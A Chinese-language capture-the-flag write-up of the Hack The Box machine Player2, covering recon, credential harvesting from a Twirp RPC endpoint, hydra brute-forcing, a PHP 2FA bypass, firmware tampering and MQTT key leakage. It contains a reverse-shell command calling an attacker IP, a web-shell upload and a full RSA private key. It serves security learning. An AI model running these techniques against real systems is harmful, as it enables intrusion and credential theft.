基本信息
端口扫描 这里需要全端口扫描,默认扫描会漏掉开放的8545:
80 直接访问是一个错误页面:
配置hosts访问:
1 10.10.10.170 player2.htb
subdomain 1 wfuzz -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt -t 100 -H "Host: FUZZ.player2.htb" --hh 102 -u http://10.10.10.170
同样把product.player2.htb加到hosts里,访问:
8545 直接访问:
根据信息,知道是twirp,根据文档
https://github.com/twitchtv/twirp/blob/master/docs/routing.md
知道service定义是在.proto文件,稍后的目录扫描中有proto目录
目录扫描 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 gobuster dir -u http://player2.htb/ -w /usr/share/wordlists/dirbuster/directory-list-1.0.txt -t 50 -x php /images (Status: 301) /index (Status: 200) /index.php (Status: 200) /assets (Status: 301) /src (Status: 301) /mail (Status: 200) /mail.php (Status: 200) /vendor (Status: 301) /generated (Status: 301) /proto (Status: 301) gobuster dir -u http://product.player2.htb/ -w /usr/share/wordlists/dirbuster/directory-list-1.0.txt -t 50 -x php /images (Status: 301) /home (Status: 302) /home.php (Status: 302) /totp (Status: 302) /totp.php (Status: 302) /index (Status: 200) /index.php (Status: 200) /assets (Status: 301) /mail (Status: 200) /mail.php (Status: 200) /api (Status: 301)
api 直接访问是403:
继续扫描:
1 2 3 4 gobuster dir -u http://product.player2.htb/api/ -w /usr/share/wordlists/dirbuster/directory-list-1.0.txt -t 50 -x php /totp (Status: 200) /totp.php (Status: 200)
1 2 3 curl -X POST http://product.player2.htb/api/totp {"error":"Invalid Session"}
根据信息搜索发现
https://en.wikipedia.org/wiki/Time-based_One-time_Password_algorithm
这里是Time-based One-time Password,用于根据时间生成一次性密码
proto 1 gobuster dir -u http://player2.htb/api/proto -w /usr/share/wordlists/dirbuster/directory-list-1.0.txt -t 50 -x proto
这个proto定义了一个Auth service,package是twirp.player2.auth ,这个service有一个GenCreds() 方法用于返回Creds
twirp 基于protobuf的RPC框架,根据官方文档:
https://twitchtv.github.io/twirp/docs/curl.html
可以结合curl进行测试
1 2 3 4 5 6 7 8 9 mkdir proto cd proto wget http://player2.htb/proto/generated.proto wget https://github.com/protocolbuffers/protobuf/releases/download/v3.12.3/protoc-3.12.3-linux-x86_64.zip unzip protoc-3.12.3-linux-x86_64.zip curl -s -X POST -H "Content-Type: application/protobuf" http://player2.htb:8545/twirp/twirp.player2.auth.Auth/GenCreds | ./bin/protoc -I . --decode twirp.player2.auth.Creds generated.proto name: "0xdf" pass: "ze+EKe-SGF^5uZQX"
但这组用户密码不能正常登录product
生成字典 可以生成100组,去重:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 ./client.sh Finding Credentials... Unique Credentials: name: "mprox" pass: "Lp-+Q8umLW5*7qkc" name: "jkr" pass: "ze+EKe-SGF^5uZQX" name: "snowscan" pass: "tR@dQnwnZEk95*6#" name: "jkr" pass: "tR@dQnwnZEk95*6#" name: "0xdf" pass: "XHq7_WJTA?QD_?E2" name: "mprox" pass: "tR@dQnwnZEk95*6#" name: "jkr" pass: "Lp-+Q8umLW5*7qkc" name: "0xdf" pass: "ze+EKe-SGF^5uZQX" name: "0xdf" pass: "tR@dQnwnZEk95*6#" name: "jkr" pass: "XHq7_WJTA?QD_?E2" name: "snowscan" pass: "XHq7_WJTA?QD_?E2" name: "snowscan" pass: "Lp-+Q8umLW5*7qkc" name: "0xdf" pass: "Lp-+Q8umLW5*7qkc" name: "snowscan" pass: "ze+EKe-SGF^5uZQX" name: "mprox" pass: "ze+EKe-SGF^5uZQX" name: "mprox" pass: "XHq7_WJTA?QD_?E2"
处理成常规用户名密码字典:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 cat userpass.txt | awk '{print $2,$4}' | sed 's/"//g' | sed 's/ /:/g' > userpass2.txt cat userpass2.txt : mprox:Lp-+Q8umLW5*7qkc jkr:ze+EKe-SGF^5uZQX snowscan:tR@dQnwnZEk95*6# jkr:tR@dQnwnZEk95*6# 0xdf:XHq7_WJTA?QD_?E2 mprox:tR@dQnwnZEk95*6# jkr:Lp-+Q8umLW5*7qkc 0xdf:ze+EKe-SGF^5uZQX 0xdf:tR@dQnwnZEk95*6# jkr:XHq7_WJTA?QD_?E2 snowscan:XHq7_WJTA?QD_?E2 snowscan:Lp-+Q8umLW5*7qkc 0xdf:Lp-+Q8umLW5*7qkc snowscan:ze+EKe-SGF^5uZQX mprox:ze+EKe-SGF^5uZQX mprox:XHq7_WJTA?QD_?E2
爆破 之后使用生成的字典进行爆破
1 2 3 4 hydra -C userpass.txt product.player2.htb http-post-form "/index:username=^USER^&password=^PASS^&Submit=Sign in:Nope" [80][http-post-form] host: product.player2.htb login: mprox password: tR@dQnwnZEk95*6# [80][http-post-form] host: product.player2.htb login: 0xdf password: XHq7_WJTA?QD_?E2
得到两组账号密码,可用,但还需要OTP:
client.sh 1 2 3 4 5 6 7 8 9 10 11 12 13 echo "Finding Credentials..." for i in `seq 1 100`do curl -s -X POST -H "Content-Type: application/protobuf" \ http://player2.htb:8545/twirp/twirp.player2.auth.Auth/GenCreds \ | ./bin/protoc -I . --decode twirp.player2.auth.Creds generated.proto \ | tr '\n' ' ' >> userpass.txt echo >> userpass.txtdone echo "Unique Credentials:" gawk -i inplace '!a[$0]++' userpass.txt cat userpass.txt
totp 直接POST访问:
加上action:
这里尝试一些常见OTP参数,得到正确的backup_codes:
使用这个OTP代码可以成功登录:
2FA bypass 应该是后端代码实现问题,action直接使用true即可通过校验:
后端代码应该是类似这种,PHP弱类型:
1 2 3 if ($action == "backup_codes" ) {}
固件 access那里给了一份文档是关于Protobs Firmware的,里面有固件下载链接和测试地址:
http://product.player2.htb/protobs/protobs_firmware_v1.0.tar
1 2 3 4 5 6 7 8 wget http://product.player2.htb/protobs/protobs_firmware_v1.0.tar tar xvf protobs_firmware_v1.0.tar x info.txt x Protobs.bin x version file Protobs.bin Protobs.bin: data
直接上传这个固件是all check pass:
固件提取 直接binwalk分析bin文件,里面是一个64位elf:
1 2 3 4 5 binwalk Protobs.bin DECIMAL HEXADECIMAL DESCRIPTION -------------------------------------------------------------------------------- 64 0x40 ELF, 64-bit LSB executable, AMD x86-64, version 1 (SYSV)
文档说明是签名在实际的固件代码之前,即前64个字节是签名,我们可以排除这部分,提取出elf:
1 2 3 4 5 6 7 8 9 10 11 binwalk --dd='.*' Protobs.bin cd _Protobs.bin.extracted ls -la total 40 drwxr-xr-x@ 3 miao staff 96 6 29 15:51 . drwxr-xr-x@ 8 miao staff 256 6 29 15:51 .. -rw-r--r-- 1 miao staff 17200 6 29 15:51 40 mv 40 protobs.elf file protobs.elf protobs.elf: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=82adae308a0023a272e626bbe83d97b2b9c630f6, for GNU/Linux 3.2.0, not stripped
逆向分析 直接把提取出来的elf扔到ghidra里
main main函数调用wait_for_fkey之后继续执行:
wait_for_fkey 这个函数使用system调用stty命令更改终端设置,我们前面已经知道上传的固件验证通过后会执行,那么我们可以考虑修改固件使其执行恶意命令:
Signature 因为固件会校验签名,根据文档签名算法:
根据上面的签名过程,我们看到签名是使用program code和哈希函数计算的。 服务器可能会忽略program code的某些初始字节,这将使我们绕过验证。我们可以尝试直接修改固件bin文件后重新打包
固件修改 修改固件中system执行的字符串,之后重新打包,上传,getshell:
1 2 3 bash -c "bash -i >& /dev/tcp/10.10.14.46/7777 0>&1"; tar cvf shell2.tar Protobs.bin info.txt version
文件上传 另一种方式,固件上传测试那里打包上传shell:
1 2 3 4 5 6 tar cvf shell.tar Protobs.bin info.txt version shell a Protobs.bin a info.txt a version a shell a shell/shell.php
MQTT 上述两种方式都能得到www-data用户shell,继续查看信息:
1 2 3 4 5 6 7 8 ps auxww ... mosquit+ 1137 0.0 0.2 48024 5792 ? S 04:40 0:02 /usr/sbin/mosquitto -c /etc/mosquitto/mosquitto.conf ... netstat -antp | grep LIST ... tcp 0 0 127.0.0.1:1883 0.0.0.0:* LISTEN ...
Mosquitto是一个开源的MQTT代理,用于在使用设备或传感器时传递消息,它使用基于发布-订阅模型的mqtt协议。 每个客户端都可以订阅主题,以及发布与这些主题有关的信息。
netstat查看1883端口开着,这是mosquito server的默认端口。
端口转发 我们可以通过www-data的shell加载个meterpreter,方便操作,将1883端口进行转发:
之后直接访问我们本地1883端口就相当于访问远程机器localhost的1883:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 mosquitto_sub -t '$SYS/#' -h 127.0.0.1 -p 1883 ... Retrieving the key from aws instance Key retrieved.. -----BEGIN RSA PRIVATE KEY----- MIIEpAIBAAKCAQEA7Gc/OjpFFvefFrbuO64wF8sNMy+/7miymSZsEI+y4pQyEUBA R0JyfLk8f0SoriYk0clR/JmY+4mK0s7+FtPcmsvYgReiqmgESc/brt3hDGBuVUr4 et8twwy77KkjypPy4yB0ecQhXgtJNEcEFUj9DrOq70b3HKlfu4WzGwMpOsAAdeFT +kXUsGy+Cp9rp3gS3qZ2UGUMsqcxCcKhn92azjFoZFMCP8g4bBXUgGp4CmFOtdvz SM29st5P4Wqn0bHxupZ0ht8g30TJd7FNYRcQ7/wGzjvJzVBywCxirkhPnv8sQmdE +UAakPZsfw16u5dDbz9JElNbBTvwO9chpYIs0QIDAQABAoIBAA5uqzSB1C/3xBWd 62NnWfZJ5i9mzd/fMnAZIWXNcA1XIMte0c3H57dnk6LtbSLcn0jTcpbqRaWtmvUN wANiwcgNg9U1vS+MFB7xeqbtUszvoizA2/ScZW3P/DURimbWq3BkTdgVOjhElh6D 62LlRtW78EaVXYa5bGfFXM7cXYsBibg1+HOLon3Lrq42j1qTJHH/oDbZzAHTo6IO 91TvZVnms2fGYTdATIestpIRkfKr7lPkIAPsU7AeI5iAi1442Xv1NvGG5WPhNTFC gw4R0V+96fOtYrqDaLiBeJTMRYp/eqYHXg4wyF9ZEfRhFFOrbLUHtUIvkFI0Ya/Y QACn17UCgYEA/eI6xY4GwKxV1CvghL+aYBmqpD84FPXLzyEoofxctQwcLyqc5k5f llga+8yZZyeWB/rWmOLSmT/41Z0j6an0bLPe0l9okX4j8WOSmO6TisD4WiFjdAos JqiQej4Jch4fTJGegctyaOwsIVvP+hKRvYIwO9CKsaAgOQySlxQBOwMCgYEA7l+3 JloRxnCYYv+eO94sNJWAxAYrcPKP6nhFc2ReZEyrPxTezbbUlpAHf+gVJNVdetMt ioLhQPUNCb3mpaoP0mUtTmpmkcLbi3W25xXfgTiX8e6ZWUmw+6t2uknttjti97dP QFwjZX6QPZu4ToNJczathY2+hREdxR5hR6WrJpsCgYEApmNIz0ZoiIepbHchGv8T pp3Lpv9DuwDoBKSfo6HoBEOeiQ7ta0a8AKVXceTCOMfJ3Qr475PgH828QAtPiQj4 hvFPPCKJPqkj10TBw/a/vXUAjtlI+7ja/K8GmQblW+P/8UeSUVBLeBYoSeiJIkRf PYsAH4NqEkV2OM1TmS3kLI8CgYBne7AD+0gKMOlG2Re1f88LCPg8oT0MrJDjxlDI NoNv4YTaPtI21i9WKbLHyVYchnAtmS4FGqp1S6zcVM+jjb+OpBPWHgTnNIOg+Hpt uaYs8AeupNl31LD7oMVLPDrxSLi/N5o1I4rOTfKKfGa31vD1DoCoIQ/brsGQyI6M zxQNDwKBgQCBOLY8aLyv/Hi0l1Ve8Fur5bLQ4BwimY3TsJTFFwU4IDFQY78AczkK /1i6dn3iKSmL75aVKgQ5pJHkPYiTWTRq2a/y8g/leCrvPDM19KB5Zr0Z1tCw5XCz iZHQGq04r9PMTAFTmaQfMzDy1Hfo8kZ/2y5+2+lC7wIlFMyYze8n8g== -----END RSA PRIVATE KEY----- ...
我们得到了一个ssh私钥
user flag 查看home目录可以得到用户名observer,直接使用刚得到私钥登录就可以:
提权 二进制打法 二进制方法是用UAF,heap太烦了,直接参考官方wp吧
root flag 非预期 1 2 3 cd .ssh mv id_rsa id_rsa_old ln -s /root/root.txt id_rsa
因为前面mqtt能够看到是会读取id_rsa并且显示出来, 查看进程能够看到root运行的/root/broadcast.py,那么直接将id_rsa软链接到root.txt即可非预期读取root.txt内容
参考资料
Last updated: 2020-07-20 10:33:03
水平不济整日被虐这也不会那也得学,脑子太蠢天天垫底这看不懂那学不会